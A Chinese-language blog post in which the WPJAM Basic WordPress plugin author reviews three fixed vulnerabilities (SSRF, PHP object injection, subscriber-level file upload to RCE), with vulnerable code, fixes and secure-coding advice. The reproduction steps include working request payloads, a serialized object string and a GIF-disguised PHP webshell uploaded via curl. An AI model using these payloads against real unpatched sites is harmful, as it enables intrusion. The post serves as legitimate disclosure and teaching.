你简单用 AI 写的插件就安全吗?和大家盘点一下 WPJAM Basic 最近修复的三个安全漏洞
最近 6.18 知识星球搬家促销的时候,一些情商比程序还低的家伙说自己用 AI 搞两下就能做插件,为什么要买呢?但是你简单用 AI 写的插件就安全吗?
事实真的如此吗?最近半年,WPJAM Basic 收到了不少由 Patchstack 平台提交的漏洞报告。今天正好借这个机会,跟大家硬核盘点一下这半年修复的三个经典漏洞。看完黑客是怎么找漏洞的、我们又是怎么修复的,你就会明白:为什么随随便便让 AI 写的插件,安全风险反而大得吓人。
简单介绍一下 Patchstack
在开讲漏洞之前,先给不了解的朋友科普一下 Patchstack,简单来说,它是目前 WordPress 生态里最权威的“漏洞安全情报局”之一。他们主要干三件事:
- 全球最大的 WP 漏洞库:天天盯着 WordPress 核心、各种插件和主题,只要有漏洞就实时记录和更新。
- 实时防护:在开发者还没把漏洞修复发布之前,为托管平台和站点提供虚拟补丁(vPatching)。
- 漏洞赏金计划:他们还有漏洞赏金计划,邀请全球顶尖的安全研究人员对 WordPress 生态进行安全审计,找到漏洞就有大笔奖金。
最关键的是,Patchstack 遵守负责任披露原则,就是黑客将发现的漏洞告诉 Patchstack 之后,Patchstack 会联系插件开发者,提供漏洞详情(此阶段不公开),作者通常有 30 天的时间赶紧加班赶补丁。等用户们都陆陆续续升级、安全了之后,Patchstack 才会把漏洞细节公开并挂上 CVE 编号。
这个规矩保护了所有人,不至于让黑客拿着“未公开的核武器”去到处炸普通用户的网站,漏洞在修复前不会公开,给开发者留出修复时间,也给用户留出升级时间。
为什么 WPJAM Basic 会被报告
首先并不是老是盯着我,Patchstack 会对 WordPress.org 上数以万计的公开插件进行持续安全扫描和人工审计,任何注册研究员都可以对任意插件提交漏洞报告。WPJAM Basic 被报告,其实原因很简单:
- 用户量:插件有一定的活跃安装量,有研究价值
- 功能复杂度:WPJAM Basic 功能覆盖面广(CDN、文件上传、自定义 List Table、Post 数据模型等),攻击面相应更大
- PHP 特性:序列化/反序列化、文件上传、HTTP 代理,这三样向来是 PHP 漏洞的“重灾区”,而 WPJAM Basic 刚好都涉及了。
- 代码开源:研究人员可以直接静态分析,不需要黑盒测试,自然更容易找到漏洞。
被报告不是坏事,而是说明插件被认真对待。未被报告不代表没有漏洞,只是还没有人仔细看。
💡 所以说,被报告绝对是好事,说明你的插件有人疼、有人爱 😁。而那些“从来没报过漏洞”的私家插件,不代表它坚不可不可摧,只是人家黑客懒得用正眼看它一眼罢了。
漏洞一:服务端请求伪造(SSRF)
🎯 什么情况下才会发生(触发条件):
这个漏洞的触发门槛其实非常苛刻。它只有在网站同时满足以下两个条件时才会存在
- 后台开启了 CDN 加速功能。
- 并且在「外部图片」中勾选了「自动将外部图片镜像到云存储(不推荐)」这个选项。如果你的网站根本没开启这个不推荐的功能,这个漏洞对你完全无效。

🥷 攻击者需要掌握什么高门槛技能:
普通的黑客或者随便一张外部图片是绝对无法触发攻击的。攻击者必须熟练掌握代码分析或接口抓包技术,并完成以下一系列复杂的“骚操作”:
- 他得先在你的公开文章里,找到一张你已经成功引用的合法外部图片。
- 接着,他要在自己电脑上计算出这张图片 URL 的 MD5 哈希值,以此来构造一个能骗过服务器第一道安全初审的“合法请求”。
- 最后,他还要懂得在请求屁股后面,强行手工拼接上自定义的内网参数(比如
&url=http://127.0.0.1:3306)。
💥 核心问题与实际后果(他们能搞到服务器上的机密信息吗?):
答案是:完全搞不到! 当时写代码时,由于在第一步验证完合法性后,不小心放任外部参数重新覆盖了变量。导致上述掌握了技术的黑客,可以利用这个缺陷把你的服务器当成一个“传话筒”或“内线”。
黑客自己在外面由于防火墙挡着,是进不去你的内网的。但他可以命令你的服务器:“喂,你帮我看看你内部的 3306 数据库端口现在开没开?或者看看云服务器内部的管理后台在不在?” 你的服务器收到命令后,会用“自己人”的身份去访问,然后把诸如“噢,端口开着呢”之类的内网响应状态返回给黑客。
这就像黑客命令你的服务器隔着门缝看一眼灯亮不亮。他绝对推不开内网的门,更无法直接拿到你服务器上的本地文件、数据库账号密码或任何核心资产。 尽管拿不到核心秘密,但这属于攻击前的“踩点”行为,依然是一个必须排除的安全隐患。
看看当年那段翻车代码,当时写代码时脑子突然“短路”了一下,竟然在第一步验证完之后,又放任外部参数重新覆盖了变量:
// cdn/remote.php
// 第一步:从文章内容中找到 hash 对应的图片 URL(验证通过)
if(preg_match_all('|<img.*?src=[\'"](.*?)[\'"].*?>|i', do_shortcode($post->post_content), $matches)){
foreach($matches[1] as $image_url){
if($filename == md5($image_url)){
$url = $image_url; // 验证通过,$url 是文章里真实的图片地址
break;
}
}
}
if(!$url){
wp_die('文章没有该图片', '文章没有该图片', ['response'=>404]);
}
// 第二步:用攻击者的参数覆盖验证结果 ← 这就是漏洞
$url = wpjam_get_parameter('url'); // 攻击者可以传任意 URL
$response = wp_remote_get($url); // 服务端向攻击者指定的地址发请求
header('Content-Type: '.$response['headers']['content-type']);
echo $response['body']; // 完整响应体返回给攻击者
exit;
📊 漏洞复现步骤:
1. 首先在「CDN 加速」中开启云存储,并且开启「自动将外部图片镜像到云存储(不推荐)」选项
2. 创建一篇含外部图片的公开文章,例如内容包含:
<img src="http://example.com/poc.jpg">
3. 通过工具计算图片 URL 的 md5,比如:45bf71ee40e4ca46f74dc9787d3c7cb5
4. 在服务器本地起一个只监听 127.0.0.1:8082 的 HTTP 服务,返回 INTERNAL_MARKER
5. 发送攻击请求(无需登录):
GET /?p=2372&qiniu=45bf71ee40e4ca46f74dc9787d3c7cb5.jpg&url=http://127.0.0.1:8082/secret
Host: target-site.com
6. 服务端响应包含 INTERNAL_MARKER,证明内网被访问
🛠️ 怎么修复呢?
$url = wpjam_get_parameter('url'); // ← 直接删除这行
$response = wp_remote_get($url);
// 同时增加的防护:
// Content-Type 白名单,只允许图片类型
$content_type = $response['headers']['content-type'] ?? '';
if(!preg_match('|^image/|', $content_type)){
wp_die('不是图片', '', ['response'=>403]);
}
// the_content 过滤器只对已发布文章生效,防止 contributor 草稿预览触发代理
if(!is_singular() || get_post_status() !== 'publish'){
return $content;
}
漏洞二:PHP 对象注入(Object Injection)
🎯 什么情况下才会发生(触发条件):
只有在网站允许“贡献者(Contributor)”及以上权限的用户在后台发布或修改文章,且你的站点运行环境里刚好存在可被利用的漏洞类(POP 链)时才可能触发。普通访客或没登录的人是无法触发的。
🥷 攻击者需要掌握什么技能:
攻击者必须拥有合法的后台写稿账号,并且精通 PHP 反序列化的高阶技术。他们需要独自在本地写出一串精心设计、结构复杂且暗藏特定攻击逻辑的序列化字符串,普通人用大白话写进去是没用的。
💥 核心问题与实际后果:
WPJAM Basic 支持将数组序列化后存入 post_content,用于存储复杂结构的数据。然后通过 WPJAM_Post::get() 在读取文章数据时,会使用 maybe_unserialize() 方法把它还原回来。
// includes/class-wpjam-core.php
public static function get($post){
if($data = self::get_post($post, ARRAY_A)){
$key = 'post_content';
$data = [$key=>maybe_unserialize($data[$key])]+$data;
// maybe_unserialize 会反序列化任何合法的序列化字符串,包括对象
}
return $data;
}
PHP 本身的反序列化有一个特性:如果传入的字符串包含了一个特定的 PHP“类”,系统在还原的时候会自动去触发这个类里面的各类魔术方法:
__wakeup():反序列化时立即触发__destruct():对象被销毁时触发(请求结束时)__toString():对象被转为字符串时触发
💡 这里补充个技术细节:黑客不需要在 WPJAM 的代码里找执行命令的函数。他们是利用整个 WordPress 运行环境里(包括核心和其他插件)已经加载的所有代码类,像搭积木一样串成一条攻击链(技术上叫 POP 链),从而实现删文件、读数据库甚至拿服务器权限。
🎯 漏洞复现步骤:
1. 在 wp-config.php 中添加测试 gadget(验证用,实际攻击不需要):
class ObjectInjection {
public $test;
function __destruct(){
die("PHP Object Injection: " . $this->test);
}
}
2. 以 Contributor 身份创建草稿,post_content 设为:
O:15:"ObjectInjection":1:{s:4:"test";s:8:"POC";}
3. 记录草稿的 Post ID,发送 AJAX 请求:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in_xxx=...
action=wpjam-list-table-action&action_type=form&list_action=set&id=<POST_ID>&screen_id=edit-post&builtin_page=edit.php&post_type=post
4. 响应中出现 PHP Object Injection: POC,证明 __destruct 被执行
🛠️ 怎么修复?
PHP 7.0 之后支持在反序列化时加个安全锁。我们把代码改成了限制反序列化时禁止实例化任何类('allowed_classes' => false)。
这样一来,传过来的东西只能是干干净净的数组或基础数据,遇到对象直接变成 __PHP_Incomplete_Class,不实例化相当于直接当场拍死,不触发任何魔术方法,也就不给它执行的机会:
// 反序列化改成:
$data = [$key=> is_serialized($data[$key]) ? @unserialize($data[$key], ['allowed_classes' => false]) : $data[$key]]+$data;
漏洞三:未授权任意文件上传(RCE)
🎯 什么情况下才会发生(触发条件):
这是三个漏洞里最严重的。前提是网站开放了用户注册,攻击者至少需要注册一个小号并登录(订阅者权限)。没登录的游客是无法直接利用的。
🥷 攻击者需要掌握什么技能:
攻击者需要熟练掌握漏洞组合利用(Chain 攻击)和文件伪装技术。他们需要知道如何通过特定参数绕过安全暗号(Nonce),同时还要懂得将危险的 PHP 后门代码隐藏并伪装成 GIF 图片的头部字节。
💥 核心问题与实际后果:
WPJAM 在后台注册了一个 AJAX 文件上传的后台接口。因为当时三个小疏忽叠加在一起,结成了无解连招:
首先 nonce 验证被绕过,当请求中 action_type=form 时,nonce 验证被完全跳过。这本意是简化处理后台弹窗表单,但由于没有其他验证,被攻击者钻了空子。
// includes/class-wpjam-api.php
if($this->admin){
$data = wpjam_get_parameter('', ['method'=>'POST']+...);
$verify = wpjam_get($data, 'action_type') !== 'form'; // ← 关键
}
接着缺少权限检查,接口确实写了 'admin' => true,但这在 WPJAM 里只是“只要用户登录进了后台就行”,哪怕他是个什么都干不了的最低级“订阅者”。代码里竟然漏掉了 current_user_can('upload_files') 这种明确的权限大门。
// includes/class-wpjam-admin.php
wpjam_ajax('wpjam-upload', [
'admin' => true, // 只要求是登录用户,Subscriber 满足
'nonce_action' => fn($data)=> 'upload-'.$data['name'].'-'.$data['accept'],
'callback' => fn($data)=> wpjam_upload($data['filename'] ?? $data['name'], $data)
]);
最后,MIME 类型白名单被覆盖了,在上传文件时,允许通过参数传进去一个 MIME 类型白名单。攻击者直接在参数里塞一句 mimes[php]=image/gif,硬生生把危险的 PHP 后门文件伪装成了 GIF 图片。
三个问题叠加:绕过 nonce → 绕过权限 → 伪造 MIME 类型 → 上传 PHP 文件 → RCE。😭
📊 复现步骤
1. 创建包含 GIF 魔术字节的 PHP webshell(Polyglot 文件):
GIF89a;
<?php echo "Vuln: " . system($_GET['cmd']); ?>
2. 以 Subscriber 身份登录,发送上传请求(绕过 nonce + 覆盖 MIME):
curl -X POST "https://target/wp-admin/admin-ajax.php" \
-b "wordpress_logged_in_xxx=..." \
-F "action=wpjam-upload" \
-F "screen_id=dashboard" \
-F "action_type=form" \
-F "name=file" \
-F "mimes[php]=image/gif" \
-F "file=@pwn.php;type=image/gif"
3. 响应返回上传后的文件路径:
{
"file": "/var/www/html/wp-content/uploads/2026/01/pwn.php",
"url": "https://target/wp-content/uploads/2026/01/pwn.php"
}
4. 访问上传的文件执行系统命令:
https://target/wp-content/uploads/2026/01/pwn.php?cmd=id
响应:Vuln: uid=33(www-data) gid=33(www-data) groups=33(www-data)
🛠️ 修复方案
在 AJAX 端点注册时加入严格的权限检查,要求用户必须具备 upload_files 能力:
wpjam_ajax('wpjam-upload', [
'admin' => true,
'allow' => fn()=> current_user_can('upload_files'), // ← 新增
'nonce_action' => fn($data)=> 'upload-'.$data['name'].'-'.$data['accept'],
'callback' => fn($data)=> wpjam_upload($data['filename'] ?? $data['name'], $data)
]);
然后在 WPJAM_Ajax 类中将 action_type=form 代码移到 List-Table 自己本身的判断中,最后 wpjam-upload AJAX 接口不再支持 mime 参数,并在最后 AJAX 回调函数中直接使用 accept 获取 MIME,不给外部参数干扰的机会。
$args['mimes'] = wpjam_accept_to_mime_types($args['accept']);
$args['mimes'] || wpjam_throw('upload_error', '无效的文件类型');
最后将 Nonce 基于本身基于 accept 参数生成('upload-' + name + '-' + accept),accept 是字段配置渲染时写死在 HTML 中的值。攻击者无法在不访问合法页面的情况下获取有效 nonce,多一层防护。
WordPress 安全最佳实践
基于以上三个漏洞,总结 WordPress 插件开发中最常见的安全问题:
1. 始终验证权限
每个 AJAX 端点、REST API 路由都必须检查当前用户是否有执行该操作的权限:
// 错误:只检查是否登录
if(!is_user_logged_in()){ wp_die(); }
// 正确:检查具体能力
if(!current_user_can('upload_files')){ wp_die('access_denied'); }
2. 不信任任何外部输入
来自 $_GET、$_POST、$_REQUEST、HTTP Header 的所有数据都是不可信的。特别是:
- 不要让外部参数覆盖内部已验证的数据
- 不要将用户输入直接传给有副作用的函数(
wp_remote_get、unserialize、wp_handle_upload)
3. 序列化数据必须限制反序列化
// 危险
$data = maybe_unserialize($user_input);
$data = unserialize($user_input);
// 安全
$data = unserialize($user_input, ['allowed_classes' => false]);
存储结构化数据优先考虑 JSON(wp_json_encode / json_decode),天然没有对象注入风险。
4. 服务端 HTTP 请求需要验证目标
wp_remote_get() 等函数发起的请求应当验证目标 URL 的合法性,至少:
- 只允许
http://和https://协议 - 校验响应
Content-Type符合预期
5. 文件上传的多层防护
- 权限检查:只有有上传权限的用户才能触发
- MIME 类型:基于文件实际内容检测,不依赖用户传入的类型
- 不允许外部参数覆盖内部的允许类型白名单
简单总结两句
无论是看似能被当成“内线”的 SSRF,还是听起来惊悚的 PHP 对象注入和 RCE 上传漏洞,黑客想要真正得手,都需要极其苛刻的特定配置配合高阶的漏洞串联技术。
那些“从来没报过漏洞”的 AI 自建代码,不代表它坚不可摧,只是人家黑客懒得看它一眼;而公共插件在众目睽睽之下被审计,反而越辨越安全。网络安全是一场持久战,大伙赶紧去后台把 WPJAM Basic 升级到 7.1 或以上版本。时刻保持敬畏,安全第一!
